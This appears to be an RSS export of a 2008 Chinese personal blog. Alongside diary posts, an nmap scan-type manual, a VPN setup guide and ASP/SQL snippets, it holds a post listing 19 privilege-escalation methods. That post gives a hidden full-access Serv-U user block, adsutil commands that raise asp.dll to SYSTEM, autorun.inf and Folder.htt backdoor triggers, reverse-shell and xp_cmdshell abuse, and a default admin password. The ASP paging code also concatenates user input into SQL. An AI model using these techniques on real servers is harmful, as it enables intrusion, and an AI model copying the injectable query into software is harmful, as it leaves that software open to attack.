<P style="TEXT-INDENT: 2em">　　功能选项可以组合使用。一些功能选项只能够在某种扫描模式下使用。nmap会自动识别无效或者不支持的功能选项组合，并向用户发出警告信息。</P>
<P style="TEXT-INDENT: 2em">　　如果你是有经验的用户，可以略过结尾的示例一节。可以使用nmap -h快速列出功能选项的列表。</P>
<P style="TEXT-INDENT: 2em">4.1 扫描类型</P>
<P style="TEXT-INDENT: 2em">　　-sT</P>
<P style="TEXT-INDENT: 2em">　　TCP connect()扫描：这是最基本的TCP扫描方式。connect()是一种系统调用，由操作系统提供，用来打开一个连接。如果目标端口有程序监听， connect()就会成功返回，否则这个端口是不可达的。这项技术最大的优点是，你勿需root权限。任何UNIX用户都可以自由使用这个系统调用。这种扫描很容易被检测到，在目标主机的日志中会记录大批的连接请求以及错误信息。</P>
<P style="TEXT-INDENT: 2em">　　-sS</P>
<P style="TEXT-INDENT: 2em">　　TCP同步扫描(TCP SYN)：因为不必全部打开一个TCP连接，所以这项技术通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN)，然后等待回应。如果对方返回SYN|ACK(响应)包就表示目标端口正在监听；如果返回RST数据包，就表示目标端口没有监听程序；如果收到一个SYN|ACK包，源主机就会马上发出一个RST(复位)数据包断开和目标主机的连接，这实际上有我们的操作系统内核自动完成的。这项技术最大的好处是，很少有系统能够把这记入系统日志。不过，你需要root权限来定制SYN数据包。</P>
<P style="TEXT-INDENT: 2em">　　-sF -sF -sN</P>
<P style="TEXT-INDENT: 2em">　　秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式：即使SYN扫描都无法确定的情况下使用。一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视，而且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。这些扫描方式的理论依据是：关闭的端口需要对你的探测包回应RST包，而打开的端口必需忽略有问题的包(参考RFC 793第64页)。FIN扫描使用暴露的FIN数据包来探测，而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是，微软决定完全忽略这个标准，另起炉灶。所以这种扫描方式对Windows95/NT无效。不过，从另外的角度讲，可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可以发现打开的端口，你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的，而使用SYN扫描显示有打开的端口，你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处，因为nmap有内嵌的操作系统检测功能。还有其它几个系统使用和windows同样的处理方式，包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时，以上这些系统都会从打开的端口发出复位数据包。</P>
<P style="TEXT-INDENT: 2em">　　-sP</P>
<P style="TEXT-INDENT: 2em">　　ping扫描：有时你只是想知道此时网络上哪些主机正在运行。通过向你指定的网络内的每个IP地址发送ICMP echo请求数据包，nmap就可以完成这项任务。如果主机正在运行就会作出响应。不幸的是，一些站点例如：microsoft.com阻塞ICMP echo请求数据包。然而，在默认的情况下nmap也能够向80端口发送TCP ack包，如果你收到一个RST包，就表示主机正在运行。nmap使用的第三种技术是：发送一个SYN包，然后等待一个RST或者SYN/ACK包。对于非root用户，nmap使用connect()方法。</P>
<P style="TEXT-INDENT: 2em">　　在默认的情况下(root用户)，nmap并行使用ICMP和ACK技术。</P>
<P style="TEXT-INDENT: 2em">　　注意，nmap在任何情况下都会进行ping扫描，只有目标主机处于运行状态，才会进行后续的扫描。如果你只是想知道目标主机是否运行，而不想进行其它扫描，才会用到这个选项。</P>
<P style="TEXT-INDENT: 2em">　　-sU</P>
<P style="TEXT-INDENT: 2em">　　UDP扫描：如果你想知道在某台主机上提供哪些UDP(用户数据报协议,RFC768)服务，可以使用这种扫描方法。nmap首先向目标主机的每个端口发出一个0字节的UDP包，如果我们收到端口不可达的ICMP消息，端口就是关闭的，否则我们就假设它是打开的。</P>
<P style="TEXT-INDENT: 2em">　　有些人可能会想UDP扫描是没有什么意思的。但是，我经常会想到最近出现的solaris rpcbind缺陷。rpcbind隐藏在一个未公开的UDP端口上，这个端口号大于32770。所以即使端口111(portmap的众所周知端口号) 被防火墙阻塞有关系。但是你能发现大于30000的哪个端口上有程序正在监听吗?使用UDP扫描就能！cDc Back Orifice的后门程序就隐藏在Windows主机的一个可配置的UDP端口中。不考虑一些通常的安全缺陷，一些服务例如:snmp、tftp、NFS 使用UDP协议。不幸的是，UDP扫描有时非常缓慢，因为大多数主机限制ICMP错误信息的比例(在RFC1812中的建议)。例如，在Linux内核中 (在net/ipv4/icmp.h文件中)限制每4秒钟只能出现80条目标不可达的ICMP消息，如果超过这个比例，就会给1/4秒钟的处罚。 solaris的限制更加严格，每秒钟只允许出现大约2条ICMP不可达消息，这样，使扫描更加缓慢。nmap会检测这个限制的比例，减缓发送速度，而不是发送大量的将被目标主机丢弃的无用数据包。</P>
<P style="TEXT-INDENT: 2em">　　不过Micro$oft忽略了RFC1812的这个建议，不对这个比例做任何的限制。所以我们可以能够快速扫描运行Win95/NT的主机上的所有65K个端口。</P>
<P style="TEXT-INDENT: 2em">　　-sA</P>
<P style="TEXT-INDENT: 2em">　　ACK扫描：这项高级的扫描方法通常用来穿过防火墙的规则集。通常情况下，这有助于确定一个防火墙是功能比较完善的或者是一个简单的包过滤程序，只是阻塞进入的SYN包。</P>
<P style="TEXT-INDENT: 2em">　　这种扫描是向特定的端口发送ACK包(使用随机的应答/序列号)。如果返回一个RST包，这个端口就标记为unfiltered状态。如果什么都没有返回，或者返回一个不可达ICMP消息，这个端口就归入filtered类。注意，nmap通常不输出unfiltered的端口，所以在输出中通常不显示所有被探测的端口。显然，这种扫描方式不能找出处于打开状态的端口。</P>
<P style="TEXT-INDENT: 2em">　　-sW</P>
<P style="TEXT-INDENT: 2em">　　对滑动窗口的扫描：这项高级扫描技术非常类似于ACK 扫描，除了它有时可以检测到处于打开状态的端口，因为滑动窗口的大小是不规则的，有些操作系统可以报告其大小。这些系统至少包括：某些版本的AIX、 Amiga、BeOS、BSDI、Cray、Tru64 UNIX、DG/UX、OpenVMS、Digital UNIX、OpenBSD、OpenStep、QNX、Rhapsody、SunOS 4.x、Ultrix、VAX、VXWORKS。从nmap-hackers邮件3列表的文档中可以得到完整的列表。</P>
<P style="TEXT-INDENT: 2em">　　-sR</P>
<P style="TEXT-INDENT: 2em">　　 RPC扫描。这种方法和nmap的其它不同的端口扫描方法结合使用。选择所有处于打开状态的端口向它们发出SunRPC程序的NULL命令，以确定它们是否是RPC端口，如果是，就确定是哪种软件及其版本号。因此你能够获得防火墙的一些信息。诱饵扫描现在还不能和RPC扫描结合使用。</P>
<P style="TEXT-INDENT: 2em">　　-b</P>
<P style="TEXT-INDENT: 2em">　　FTP反弹攻击(bounce attack):FTP协议(RFC 959)有一个很有意思的特征，它支持代理FTP连接。也就是说，我能够从evil.com连接到FTP服务器target.com，并且可以要求这台 FTP服务器为自己发送Internet上任何地方的文件！1985年，RFC959完成时，这个特征就能很好地工作了。然而，在今天的Internet 中，我们不能让人们劫持FTP服务器，让它向Internet上的任意节点发送数据。如同Hobbit在1995年写的文章中所说的，这个协议"能够用来做投递虚拟的不可达邮件和新闻，进入各种站点的服务器,填满硬盘，跳过防火墙，以及其它的骚扰活动，而且很难进行追踪"。我们可以使用这个特征，在一台代理FTP服务器扫描TCP端口。因此，你需要连接到防火墙后面的一台FTP服务器，接着进行端口扫描。如果在这台FTP服务器中有可读写的目录，你还可以向目标端口任意 </P>
<P style="TEXT-INDENT: 2em"></P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/2801612920085131154429</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/2801612920085131154429</guid>
    <pubDate>Fri, 13 Jun 2008 01:01:54 +0800</pubDate>
    <dcterms:modified>2008-06-13T01:01:54+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[开心]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/280161292008512111142651</link>
    <description><![CDATA[<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 事情渐渐的平息下去了,今天无聊的时候去腾讯上玩塔罗牌...意外的是玩了10把都说我近来感情事业都不顺利..唯一安慰的是她对我还像以前那般好...我要努力了，为了我们的将来.越来越发现爱她爱得好深....前几天心里动不动就空荡荡的...貌似连心都没了的感觉终于消失了...心不再痛了....我再也不能伤害我的宝贝了，我要努力找份工作..争取以后好好的疼她.呵护她一生....宝贝,我爱你...</div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/280161292008512111142651</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/280161292008512111142651</guid>
    <pubDate>Thu, 12 Jun 2008 23:11:42 +0800</pubDate>
    <dcterms:modified>2008-06-12T23:11:42+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[VPN服务建立]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/2801612920085533422175</link>
    <description><![CDATA[<div>首先要关闭一个协议[服务里面]看我操作Windows Firewall...(ICS)关闭他我已经帮他关闭了<BR>1.打开[控制面板] --&gt; [管理工具] --&gt;[路由和远程访问] <BR>2.鼠标右击你要管理的电脑 在弹出式菜单中选中[配置并启用路由和远程访问] <BR>3.选中[自定义]，因为你只有一块网卡嘛，所以选中第一项或第三项的话，你会得到一个“必须两块网卡”的提示<BR>4.下一步就是选中[VPN访问],然后系统会问你“要不要启动服务” 当然要启动了.有点慢 等下吧<BR>5.启动成功后，鼠标右击 要管理的电脑(这里的[(GIS-LFFCBHZ402E本地)]),然后在弹出式菜单中选中[属性] <BR>6.在弹出的控制面板中选中[IP] --&gt; [静态地址池] --&gt; [添加] 然后输入个起始IP [192.168.0.1] 结束IP [192.168.0.254],这个IP段192.168.1.1-192.168.1.254都一样的都可以，是给拔入你的VPN服务器的客户端分配的虚拟IP<BR>7.然后鼠标右击[静态路由]--&gt;[新建静态路由]<BR>8.[接口]选“本地连接”,目标[0.0.0.0],网络掩码[0.0.0.0],网关输入你的网卡上TCP/IP协议里的那个网关(看网上邻居的IP协议),这一步很重要，不然你的VPN服务器客户拔入后，只能访问你的服务器，不然再访问其它网络。QQ之类的就不能用了<BR>查看网上邻居.得到他默认的网关<BR>9.然后删除[DHCP 中继代理程序] 中的[内部] <BR>10.然后鼠标右击[DHCP 中继代理程序] 在弹出式菜单中[新增接口]本地连接<BR>11.选中[本地连接]<BR>12.完成以上后，鼠标右击[常规] --&gt; [新增路由协议]<BR>13.选中[NAT/基本防火墙]<BR>14.加完后，你就会在左例表中看到[NAT/基本防火墙]，鼠标右击[NAT/基本防火墙],选中弹出式菜单中[新增接口]<BR>15.选中[本地连接]<BR>16.在面板中选择 [公用接口连接到 Internet] --&gt; [在此接口上启用NAT] ,如果你WINDOWS 2003中使用了系统自带的防火墙的话，请在[服务和端口]，中要使用的服务打上勾，如果你不太清楚的话，那就全打上勾.<BR>17.然后建立一个VPN帐号，允许拨入.看操作允许访问。<BR>18.全部完成，然后使用 VPN拔号软件 连入就行了完成了</div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/2801612920085533422175</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/2801612920085533422175</guid>
    <pubDate>Thu, 5 Jun 2008 15:34:22 +0800</pubDate>
    <dcterms:modified>2008-06-05T15:34:22+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[又一次莫明的烦躁]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/280161292008431113340394</link>
    <description><![CDATA[<div>又周末了,一次次的莫明的烦躁,一次次的生气,一次次的醉酒,不知道为了什么,也许是因为醋意更浓了.曾经没有过如此的感觉，现在却时时刻刻的离不开她.完全失去了自我.今天抱着邻家的小猫,突然想到，你拥有很多很多,而我只有你.</div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/280161292008431113340394</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/280161292008431113340394</guid>
    <pubDate>Sat, 31 May 2008 23:33:40 +0800</pubDate>
    <dcterms:modified>2008-05-31T23:33:40+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[19种提权方法]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200842510131871</link>
    <description><![CDATA[<div><FONT size=2>1.radmin连接法<BR><BR>条件是你权限够大，对方连防火墙也没有。封装个radmin上去，运行，开对方端口，然后radmin上去。本人从来米成功过。，端口到是给对方打开了。<BR><BR>2.paanywhere<BR><BR>C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF文件，在本地安装pcanywhere上去<BR><BR>3.SAM破解<BR><BR>C:\WINNT\system32\config\ 下他的SAM 破解之<BR><BR>4.SU密码夺取<BR>C:\Documents and Settings\All Users\「开始」菜单\程序\ <BR><BR>引用：Serv-U，然后本地查看属性，知道路径后，看能否跳转 <BR>进去后，如果有权限修改ServUDaemon.ini，加个用户上去，密码为空 <BR>[USER=WekweN|1] <BR>Password= <BR>HomeDir=c:\ <BR>TimeOut=600 <BR>Maintenance=System <BR>Access1=C:\|RWAMELCDP <BR>Access1=d:\|RWAMELCDP <BR>Access1=f:\|RWAMELCDP <BR>SKEYValues= <BR>这个用户具有最高权限，然后我们就可以ftp上去 quote site exec xxx 来提升权限<BR><BR>5.c:\winnt\system32\inetsrv\data\ <BR><BR>引用：就是这个目录，同样是erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行 <BR><BR>6.SU溢出提权<BR><BR>这个网上教程N多 不详细讲解了<BR><BR>7.运行Csript<BR><BR>引用：运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限 <BR>用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps <BR>查看有特权的dll文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll <BR>再将asp.dll加入特权一族 <BR>asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样) <BR>我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll" <BR>可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了 <BR><BR>8.脚本提权<BR><BR>c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat，vbs<BR><BR>9.VNC<BR><BR>这个是小花的文章 HOHO <BR><BR>默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password<BR><BR>我们可以用vncx4<BR><BR>破解它，vncx4使用很简单，只要在命令行下输入<BR><BR>c:\&gt;vncx4 -W<BR><BR>然后顺序输入上面的每一个十六进制数据，没输完一个回车一次就行了。<BR>10.NC提权<BR><BR>给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了<BR><BR>11.社会工程学之GUEST提权<BR>很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜 可能用户密码一样 也可能是他QQ号 邮箱号 手机号 尽量看看 HOHO<BR><BR>12.IPC空连接<BR><BR>如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令<BR><BR>13.替换服务<BR><BR>这个不用说了吧？个人感觉相当复杂<BR><BR>14.autorun .inf<BR><BR>autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信他不运行<BR><BR>15.desktop.ini与Folder.htt<BR><BR>引用：首先，我们现在本地建立一个文件夹，名字不重要，进入它，在空白处点右键，选择“自定义文件夹”（xp好像是不行的）一直下点，默认即可。完成后，你就会看到在此目录下多了两个名为Folder setting的文件架与desktop.ini的文件，（如果你看不到，先取消“隐藏受保护的操作系统文件”）然后我们在Folder setting目录下找到Folder.htt文件，记事本打开，在任意地方加入以下代码： &lt;OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”&gt; &lt;/OBJECT&gt; 然后你将你的后门文件放在Folder setting目录下，把此目录与desktop.ini一起上传到对方任意一个目录下，就可以了，只要等管理员浏览了此目录，它就执行了我们的后门<BR><BR>16.su覆盖提权<BR><BR>本地安装个su，将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉，重起一下Serv-U，于是你上面的所有配置都与他的一模一样了<BR><BR>17.SU转发端口<BR><BR>43958这个是 Serv －U 的本地管理端口。FPIPE.exe上传他，执行命令： Fpipe –v –l 3333 –r 43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u，新建一个服务器，IP填对方IP，帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的Serv-u了<BR><BR>18.SQL帐户密码泄露<BR><BR>如果对方开了MSSQL服务器，我们就可以通过用SQL连接器加管理员帐号（可以从他的连接数据库的ASP文件中看到），因为MSSQL是默认的SYSTEM权限。<BR><BR>引用：对方没有删除xp_cmdshell 方法：使用Sqlexec.exe，在host 一栏中填入对方IP，User与Pass中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”即可。然后点击connect，连接上后就可以在CMD一栏中输入你想要的CMD命令了<BR><BR>19.asp.dll<BR><BR>引用：因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同) <BR>我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll" <BR>好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去 <BR>了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\Inetpub\AdminScripts&gt;这个目录下. <BR>那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东. </FONT><BR></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200842510131871</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200842510131871</guid>
    <pubDate>Sun, 25 May 2008 10:13:01 +0800</pubDate>
    <dcterms:modified>2008-05-25T10:13:01+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[5月19日纪念死难同胞网站修改灰色代码]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/2801612920084192247384</link>
    <description><![CDATA[<div><P>全国哀悼日 建议站点换素装 <BR>全站CSS代码。<BR>*{filter:gray; color:gray;}</P>
<P>加入CSS样式中。</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/2801612920084192247384</comments>
    <slash:comments>1</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/2801612920084192247384</guid>
    <pubDate>Mon, 19 May 2008 14:24:07 +0800</pubDate>
    <dcterms:modified>2008-05-19T14:34:46+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[sql查询常用命令方法]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200841653917400</link>
    <description><![CDATA[<div>(1) 数据记录筛选： <BR><BR>sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]" <BR><BR>sql="select * from 数据表 where 字段名 like ''%字段值%'' order by 字段名 [desc]" <BR><BR>sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]" <BR><BR>sql="select * from 数据表 where 字段名 in (''值1'',''值2'',''值3'')" <BR><BR>sql="select * from 数据表 where 字段名 between 值1 and 值2" <BR><BR>(2) 更新数据记录： <BR><BR>sql="update 数据表 set 字段名=字段值 where 条件表达式" <BR><BR>sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式" <BR><BR>(3) 删除数据记录： <BR><BR>sql="delete from 数据表 where 条件表达式" <BR><BR>sql="delete from 数据表" (将数据表所有记录删除) <BR><BR>(4) 添加数据记录： <BR><BR>sql="insert into 数据表 (字段1,字段2,字段3 …) valuess (值1,值2,值3 …)" <BR><BR>sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表) <BR><BR>(5) 数据记录统计函数： <BR><BR>AVG(字段名) 得出一个表格栏平均值 <BR>COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计 <BR>MAX(字段名) 取得一个表格栏最大的值 <BR>MIN(字段名) 取得一个表格栏最小的值 <BR>SUM(字段名) 把数据栏的值相加 <BR><BR>引用以上函数的方法： <BR><BR>sql="select sum(字段名) as 别名 from 数据表 where 条件表达式" <BR>set rs=conn.excute(sql) <BR><BR>用 rs("别名") 获取统的计值，其它函数运用同上。 <BR><BR>(5) 数据表的建立和删除： <BR><BR>CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… ) <BR><BR>例：CREATE TABLE tab01(name varchar(50),datetime default now()) <BR><BR>DROP TABLE 数据表名称 (永久性删除一个数据表)<BR><BR><BR>select distinct * into yjkc2 from yjkc<BR>drop table yjkc<BR>select * into yjkc from yjkc2<BR>drop table yjkc2<BR><BR><BR><BR><BR><BR><BR><BR>===================================================SQL连接方式==================================================<BR><BR>dim conn <BR>set conn=server.createobject("ADODB.connection") <BR>conn.open "PROVIDER=SQLOLEDB;DATA SOURCE=服务器;UID=用户名;PWD=密码;DATABASE=表名;"<BR><BR><BR><BR>================================================access连接方式=================================================<BR><BR>dim conn <BR>dim connstr<BR>on error resume next<BR>connstr="DBQ="+server.mappath("数据库路径")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"<BR>set conn=server.createobject("ADODB.CONNECTION")<BR>conn.open connstr <BR><BR><BR><BR><BR>====================================================包含页========================================================<BR>&lt;!--#include file=文件名 --&gt;<BR><BR><BR>=====================================================调用表=======================================================<BR>set rs=server.createobject("adodb.recordset")<BR>sql="select * from 表名 where 字段=变量 order by 字段 desc"<BR>rs.open sql,conn,1,1<BR><BR>打开数据库之后固定修改某个字段<BR>conn.execute("Update 表名 Set 字段=字段+1 Where 字段=变量"<BR><BR><BR>=====================================================删除内容======================================================<BR>set rs=server.createobject("adodb.recordset")<BR>sql="select * from 表名 where 字段=变量"<BR>rs.open sql,conn,1,3<BR>有图片就删除图片<BR>Picture=rs("newspic") <BR>set fs=server.CreateObject("scripting.filesystemobject") <BR>Picture=server.MapPath(Picture) <BR>if fs.FileExists(Picture) then <BR>fs.DeleteFile Picture,true <BR>end if <BR>rs.delete<BR>rs.update<BR>response.redirect request.servervariables("http_referer")<BR>end if<BR><BR>======================================================分页=====================================================<BR><BR>&lt;table width="98%" border="0" cellspacing="1" cellpadding="3" bgcolor="cccccc"&gt;<BR>&lt;tr bgcolor="f5f5f5"&gt;<BR>&lt;td width=10% align=center&gt;<BR>&lt;font color=""&gt;id <BR>&lt;/td&gt;<BR>&lt;td width=40% align=center&gt;关 键 词;&lt;/td&gt;<BR>&lt;td width=10% align=center&gt;价&nbsp;&nbsp; 格&lt;/td&gt;<BR>&lt;td width=20% align=center&gt;修&nbsp;&nbsp; 改&lt;/td&gt;<BR>&lt;td width=20% align=center&gt;删&nbsp;&nbsp; 除&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;%<BR>If Request.QueryString("page") = "" or Request.QueryString("page") = 0 then<BR>page = 1<BR>Else<BR>page = CINT(Request.QueryString("page"))<BR>End If<BR>if request("pm")="" then<BR>set rs=server.CreateObject("adodb.recordset")<BR>sql="select * from p_words order by id desc"<BR>rs.open sql,conn,1,1<BR>else<BR>set rs=server.CreateObject("adodb.recordset")<BR>sql="select * from p_words where pm_name like '%"&amp;request("pm")&amp;"%'"<BR>rs.open sql,conn,1,1<BR>end if<BR>if rs.eof and rs.bof then%&gt;<BR>&lt;tr &gt;<BR>&lt;td width=10% align=center colspan="6" &gt;<BR>暂时没有记录！！&lt;br&gt;<BR>&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;%<BR>else<BR>%&gt;<BR>&lt;%<BR>RS.PageSize=10'设置每页记录数&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>Dim TotalPages&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>TotalPages = RS.PageCount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>If page&gt;RS.Pagecount Then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>page=RS.Pagecount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>end if&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>RS.AbsolutePage=page<BR>rs.CacheSize = RS.PageSize'设置最大记录数&nbsp;&nbsp;<BR>Dim Totalcount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>Totalcount =INT(RS.recordcount)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>StartPageNum=1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>do while StartPageNum+10&lt;=page&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>StartPageNum=StartPageNum+10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>Loop&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>EndPageNum=StartPageNum+9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>If EndPageNum&gt;RS.Pagecount then EndPageNum=RS.Pagecount %&gt;<BR>&lt;%I=0<BR>p=RS.PageSize*(page-1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>do while (Not RS.Eof) and (I&lt;RS.PageSize)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>p=p+1%&gt;<BR><BR>&lt;form action="?act=move&amp;id=&lt;%=rs("id")%&gt;" method=post name=form1&gt;<BR>&lt;tr bgcolor="#FFFFFF"&gt;<BR>&lt;td align=center&gt;&lt;%=rs("id")%&gt;&lt;/td&gt;<BR>&lt;td&gt;&lt;input type=text name="pm_name" size=12 value="&lt;%=rs("pm_name")%&gt;"&gt;&lt;/td&gt;<BR>&lt;td align=center&gt;&lt;input type=text name="pm_p" size=8 value="&lt;%=rs("pm_p")%&gt;"&gt;&lt;/td&gt;<BR>&lt;td align=center&gt;&lt;input type='submit' class='button' value='修改'&gt;&lt;/td&gt;<BR>&lt;td align=center&gt;&lt;input type="button" name="Submit" value="删除" class="button" 